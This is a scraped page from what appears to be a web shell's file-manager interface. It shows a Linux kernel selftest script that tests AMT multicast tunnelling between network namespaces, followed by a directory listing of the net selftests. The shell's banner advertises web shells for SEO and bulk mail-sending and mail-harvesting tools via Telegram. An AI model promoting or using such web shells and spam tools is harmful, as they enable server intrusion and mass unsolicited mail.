__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/bin/bash
# SPDX-License-Identifier: GPL-2.0

# Author: Taehee Yoo <[email protected]>
#
# This script evaluates the AMT driver.
# There are four network-namespaces, LISTENER, SOURCE, GATEWAY, RELAY.
# The role of LISTENER is to listen multicast traffic.
# In order to do that, it send IGMP group join message.
# The role of SOURCE is to send multicast traffic to listener.
# The role of GATEWAY is to work Gateway role of AMT interface.
# The role of RELAY is to work Relay role of AMT interface.
#
#
#       +------------------------+
#       |    LISTENER netns      |
#       |                        |
#       |  +------------------+  |
#       |  |       l_gw       |  |
#       |  |  192.168.0.2/24  |  |
#       |  |  2001:db8::2/64  |  |
#       |  +------------------+  |
#       |            .           |
#       +------------------------+
#                    .
#                    .
#       +-----------------------------------------------------+
#       |            .         GATEWAY netns                  |
#       |            .                                        |
#       |+---------------------------------------------------+|
#       ||           .          br0                          ||
#       || +------------------+       +------------------+   ||
#       || |       gw_l       |       |       amtg       |   ||
#       || |  192.168.0.1/24  |       +--------+---------+   ||
#       || |  2001:db8::1/64  |                |             ||
#       || +------------------+                |             ||
#       |+-------------------------------------|-------------+|
#       |                                      |              |
#       |                             +--------+---------+    |
#       |                             |     gw_relay     |    |
#       |                             |    10.0.0.1/24   |    |
#       |                             +------------------+    |
#       |                                      .              |
#       +-----------------------------------------------------+
#                                              .
#                                              .
#       +-----------------------------------------------------+
#       |                       RELAY netns    .              |
#       |                             +------------------+    |
#       |                             |     relay_gw     |    |
#       |                             |    10.0.0.2/24   |    |
#       |                             +--------+---------+    |
#       |                                      |              |
#       |                                      |              |
#       |  +------------------+       +--------+---------+    |
#       |  |     relay_src    |       |       amtr       |    |
#       |  |   172.17.0.1/24  |       +------------------+    |
#       |  | 2001:db8:3::1/64 |                               |
#       |  +------------------+                               |
#       |            .                                        |
#       |            .                                        |
#       +-----------------------------------------------------+
#                    .
#                    .
#       +------------------------+
#       |            .           |
#       |  +------------------+  |
#       |  |     src_relay    |  |
#       |  |   172.17.0.2/24  |  |
#       |  | 2001:db8:3::2/64 |  |
#       |  +------------------+  |
#       |      SOURCE netns      |
#       +------------------------+
#==============================================================================

readonly LISTENER=$(mktemp -u listener-XXXXXXXX)
readonly GATEWAY=$(mktemp -u gateway-XXXXXXXX)
readonly RELAY=$(mktemp -u relay-XXXXXXXX)
readonly SOURCE=$(mktemp -u source-XXXXXXXX)
readonly SMCROUTEDIR="$(mktemp -d)"
ERR=4
err=0

exit_cleanup()
{
	for ns in "$@"; do
		ip netns delete "${ns}" 2>/dev/null || true
	done
	if [ -f "$SMCROUTEDIR/amt.pid" ]; then
		smcpid=$(< $SMCROUTEDIR/amt.pid)
		kill $smcpid
	fi
	rm -rf $SMCROUTEDIR

	exit $ERR
}

create_namespaces()
{
	ip netns add "${LISTENER}" || exit_cleanup
	ip netns add "${GATEWAY}" || exit_cleanup "${LISTENER}"
	ip netns add "${RELAY}" || exit_cleanup "${LISTENER}" "${GATEWAY}"
	ip netns add "${SOURCE}" || exit_cleanup "${LISTENER}" "${GATEWAY}" \
		"${RELAY}"
}

# The trap function handler
#
exit_cleanup_all()
{
	exit_cleanup "${LISTENER}" "${GATEWAY}" "${RELAY}" "${SOURCE}"
}

setup_interface()
{
	for ns in "${LISTENER}" "${GATEWAY}" "${RELAY}" "${SOURCE}"; do
		ip -netns "${ns}" link set dev lo up
	done;

	ip link add l_gw type veth peer name gw_l
	ip link add gw_relay type veth peer name relay_gw
	ip link add relay_src type veth peer name src_relay

	ip link set l_gw netns "${LISTENER}" up
	ip link set gw_l netns "${GATEWAY}" up
	ip link set gw_relay netns "${GATEWAY}" up
	ip link set relay_gw netns "${RELAY}" up
	ip link set relay_src netns "${RELAY}" up
	ip link set src_relay netns "${SOURCE}" up mtu 1400

	ip netns exec "${LISTENER}" ip a a 192.168.0.2/24 dev l_gw
	ip netns exec "${LISTENER}" ip r a default via 192.168.0.1 dev l_gw
	ip netns exec "${LISTENER}" ip a a 2001:db8::2/64 dev l_gw
	ip netns exec "${LISTENER}" ip r a default via 2001:db8::1 dev l_gw
	ip netns exec "${LISTENER}" ip a a 239.0.0.1/32 dev l_gw autojoin
	ip netns exec "${LISTENER}" ip a a ff0e::5:6/128 dev l_gw autojoin

	ip netns exec "${GATEWAY}" ip a a 192.168.0.1/24 dev gw_l
	ip netns exec "${GATEWAY}" ip a a 2001:db8::1/64 dev gw_l
	ip netns exec "${GATEWAY}" ip a a 10.0.0.1/24 dev gw_relay
	ip netns exec "${GATEWAY}" ip link add br0 type bridge
	ip netns exec "${GATEWAY}" ip link set br0 up
	ip netns exec "${GATEWAY}" ip link set gw_l master br0
	ip netns exec "${GATEWAY}" ip link set gw_l up
	ip netns exec "${GATEWAY}" ip link add amtg master br0 type amt \
		mode gateway local 10.0.0.1 discovery 10.0.0.2 dev gw_relay \
		gateway_port 2268 relay_port 2268
	ip netns exec "${RELAY}" ip a a 10.0.0.2/24 dev relay_gw
	ip netns exec "${RELAY}" ip link add amtr type amt mode relay \
		local 10.0.0.2 dev relay_gw relay_port 2268 max_tunnels 4
	ip netns exec "${RELAY}" ip a a 172.17.0.1/24 dev relay_src
	ip netns exec "${RELAY}" ip a a 2001:db8:3::1/64 dev relay_src
	ip netns exec "${SOURCE}" ip a a 172.17.0.2/24 dev src_relay
	ip netns exec "${SOURCE}" ip a a 2001:db8:3::2/64 dev src_relay
	ip netns exec "${SOURCE}" ip r a default via 172.17.0.1 dev src_relay
	ip netns exec "${SOURCE}" ip r a default via 2001:db8:3::1 dev src_relay
	ip netns exec "${RELAY}" ip link set amtr up
	ip netns exec "${GATEWAY}" ip link set amtg up
}

setup_sysctl()
{
	ip netns exec "${RELAY}" sysctl net.ipv4.ip_forward=1 -w -q
}

setup_iptables()
{
	ip netns exec "${RELAY}" iptables -t mangle -I PREROUTING \
		-d 239.0.0.1 -j TTL --ttl-set 2
	ip netns exec "${RELAY}" ip6tables -t mangle -I PREROUTING \
		-j HL --hl-set 2
}

setup_mcast_routing()
{
	ip netns exec "${RELAY}" smcrouted -P $SMCROUTEDIR/amt.pid
	ip netns exec "${RELAY}" smcroutectl a relay_src \
		172.17.0.2 239.0.0.1 amtr
	ip netns exec "${RELAY}" smcroutectl a relay_src \
		2001:db8:3::2 ff0e::5:6 amtr
}

test_remote_ip()
{
	REMOTE=$(ip netns exec "${GATEWAY}" \
		ip -d -j link show amtg | jq .[0].linkinfo.info_data.remote)
	if [ $REMOTE == "\"10.0.0.2\"" ]; then
		printf "TEST: %-60s  [ OK ]\n" "amt discovery"
	else
		printf "TEST: %-60s  [FAIL]\n" "amt discovery"
		ERR=1
	fi
}

send_mcast_torture4()
{
	ip netns exec "${SOURCE}" bash -c \
		'cat /dev/urandom | head -c 1G | nc -w 1 -u 239.0.0.1 4001'
}


send_mcast_torture6()
{
	ip netns exec "${SOURCE}" bash -c \
		'cat /dev/urandom | head -c 1G | nc -w 1 -u ff0e::5:6 6001'
}

check_features()
{
        ip link help 2>&1 | grep -q amt
        if [ $? -ne 0 ]; then
                echo "Missing amt support in iproute2" >&2
                exit_cleanup
        fi
}

test_ipv4_forward()
{
	RESULT4=$(ip netns exec "${LISTENER}" timeout 15 socat - UDP4-LISTEN:4000,readbytes=128 || true)
	if echo "$RESULT4" | grep -q "172.17.0.2"; then
		printf "TEST: %-60s  [ OK ]\n" "IPv4 amt multicast forwarding"
		exit 0
	else
		printf "TEST: %-60s  [FAIL]\n" "IPv4 amt multicast forwarding"
		exit 1
	fi
}

test_ipv6_forward()
{
	RESULT6=$(ip netns exec "${LISTENER}" timeout 15 socat - UDP6-LISTEN:6000,readbytes=128 || true)
	if echo "$RESULT6" | grep -q "2001:db8:3::2"; then
		printf "TEST: %-60s  [ OK ]\n" "IPv6 amt multicast forwarding"
		exit 0
	else
		printf "TEST: %-60s  [FAIL]\n" "IPv6 amt multicast forwarding"
		exit 1
	fi
}

send_mcast4()
{
	sleep 2
	ip netns exec "${SOURCE}" bash -c \
		'printf "%s %128s" 172.17.0.2 | nc -w 1 -u 239.0.0.1 4000' &
}

send_mcast6()
{
	sleep 2
	ip netns exec "${SOURCE}" bash -c \
		'printf "%s %128s" 2001:db8:3::2 | nc -w 1 -u ff0e::5:6 6000' &
}

check_features

create_namespaces

set -e
trap exit_cleanup_all EXIT

setup_interface
setup_sysctl
setup_iptables
setup_mcast_routing
test_remote_ip
test_ipv4_forward &
pid=$!
send_mcast4
wait $pid || err=$?
if [ $err -eq 1 ]; then
	ERR=1
fi
test_ipv6_forward &
pid=$!
send_mcast6
wait $pid || err=$?
if [ $err -eq 1 ]; then
	ERR=1
fi
send_mcast_torture4
printf "TEST: %-60s  [ OK ]\n" "IPv4 amt traffic forwarding torture"
send_mcast_torture6
printf "TEST: %-60s  [ OK ]\n" "IPv6 amt traffic forwarding torture"
sleep 5
if [ "${ERR}" -eq 1 ]; then
        echo "Some tests failed." >&2
else
        ERR=0
fi

Filemanager

Name Type Size Permission Actions
af_unix Folder 0755
forwarding Folder 0755
hsr Folder 0755
lib Folder 0755
mptcp Folder 0755
netfilter Folder 0755
openvswitch Folder 0755
packetdrill Folder 0755
rds Folder 0755
tcp_ao Folder 0755
Makefile File 4.82 KB 0644
altnames.sh File 1.77 KB 0755
amt.sh File 9.2 KB 0755
arp_ndisc_evict_nocarrier.sh File 5.15 KB 0755
arp_ndisc_untracked_subnets.sh File 7.04 KB 0755
bareudp.sh File 20.79 KB 0755
big_tcp.sh File 5.49 KB 0755
bind_bhash.sh File 1.34 KB 0755
busy_poll_test.sh File 3.47 KB 0755
cmsg_ipv6.sh File 3.34 KB 0755
cmsg_so_mark.sh File 1.54 KB 0755
cmsg_so_priority.sh File 3.93 KB 0755
cmsg_time.sh File 2.22 KB 0755
drop_monitor_tests.sh File 4.34 KB 0755
fcnal-test.sh File 106.62 KB 0755
fdb_flush.sh File 21.04 KB 0755
fdb_notify.sh File 1.81 KB 0755
fib-onlink-tests.sh File 12.04 KB 0755
fib_nexthop_multiprefix.sh File 5.81 KB 0755
fib_nexthop_nongw.sh File 2.19 KB 0755
fib_nexthops.sh File 73.9 KB 0755
fib_rule_tests.sh File 17.66 KB 0755
fib_tests.sh File 77.47 KB 0755
fin_ack_lat.sh File 507 B 0755
fq_band_pktlimit.sh File 1.81 KB 0755
gre_gso.sh File 4.04 KB 0755
gro.sh File 2.27 KB 0755
icmp.sh File 2.52 KB 0755
icmp_redirect.sh File 12.49 KB 0755
in_netns.sh File 323 B 0755
io_uring_zerocopy_tx.sh File 3 KB 0755
ioam6.sh File 50.49 KB 0755
ip6_gre_headroom.sh File 1.37 KB 0755
ip_defrag.sh File 2.04 KB 0755
ip_local_port_range.sh File 153 B 0755
ipv6_flowlabel.sh File 1 KB 0755
ipv6_route_update_soft_lockup.sh File 10.8 KB 0755
l2_tos_ttl_inherit.sh File 13.95 KB 0755
l2tp.sh File 9.68 KB 0755
lib.sh File 8.65 KB 0644
lwt_dst_cache_ref_loop.sh File 5.94 KB 0755
msg_zerocopy.sh File 2.93 KB 0755
ndisc_unsolicited_na_test.sh File 5.85 KB 0755
net_helper.sh File 514 B 0644
netdevice.sh File 5.69 KB 0755
netns-name.sh File 2.4 KB 0755
netns-sysctl.sh File 910 B 0755
pmtu.sh File 78.42 KB 0755
psock_snd.sh File 2.2 KB 0755
reuseaddr_ports_exhausted.sh File 635 B 0755
reuseport_addr_any.sh File 81 B 0755
route_localnet.sh File 1.92 KB 0755
rps_default_mask.sh File 2.19 KB 0755
rtnetlink.sh File 35.16 KB 0755
rxtimestamp.sh File 79 B 0755
sctp_vrf.sh File 5.81 KB 0755
setup_loopback.sh File 2.7 KB 0644
setup_veth.sh File 1.01 KB 0644
so_txtime.sh File 2.71 KB 0755
srv6_end_dt46_l3vpn_test.sh File 20.57 KB 0755
srv6_end_dt4_l3vpn_test.sh File 16.92 KB 0755
srv6_end_dt6_l3vpn_test.sh File 17.11 KB 0755
srv6_end_dx4_netfilter_test.sh File 10.92 KB 0755
srv6_end_dx6_netfilter_test.sh File 11.13 KB 0755
srv6_end_flavors_test.sh File 23.56 KB 0755
srv6_end_next_csid_l3vpn_test.sh File 32.53 KB 0755
srv6_end_x_next_csid_l3vpn_test.sh File 35.46 KB 0755
srv6_hencap_red_l3vpn_test.sh File 23.15 KB 0755
srv6_hl2encap_red_l2vpn_test.sh File 20.51 KB 0755
stress_reuseport_listen.sh File 539 B 0755
tcp_fastopen_backup_key.sh File 1.06 KB 0755
test_blackhole_dev.sh File 280 B 0755
test_bpf.sh File 225 B 0755
test_bridge_backup_port.sh File 27.35 KB 0755
test_bridge_neigh_suppress.sh File 28.4 KB 0755
test_ingress_egress_chaining.sh File 2.14 KB 0644
test_vxlan_fdb_changelink.sh File 678 B 0755
test_vxlan_mdb.sh File 92.63 KB 0755
test_vxlan_nolocalbypass.sh File 5.57 KB 0755
test_vxlan_under_vrf.sh File 5.54 KB 0755
test_vxlan_vnifiltering.sh File 20.91 KB 0755
toeplitz.sh File 4.87 KB 0755
toeplitz_client.sh File 667 B 0755
traceroute.sh File 6.91 KB 0755
txtimestamp.sh File 1.84 KB 0755
udpgro.sh File 5.72 KB 0755
udpgro_bench.sh File 2.08 KB 0755
udpgro_frglist.sh File 2.43 KB 0755
udpgro_fwd.sh File 7.08 KB 0755
udpgso.sh File 2.42 KB 0755
udpgso_bench.sh File 2.83 KB 0755
unicast_extensions.sh File 7.77 KB 0755
veth.sh File 10.75 KB 0755
vlan_bridge_binding.sh File 4.49 KB 0755
vlan_hw_filter.sh File 819 B 0755
vrf-xfrm-tests.sh File 10.65 KB 0755
vrf_route_leaking.sh File 16.48 KB 0755
vrf_strict_mode_test.sh File 8 KB 0755
xfrm_policy.sh File 14.65 KB 0755
xfrm_policy_add_speed.sh File 1.51 KB 0755
Filemanager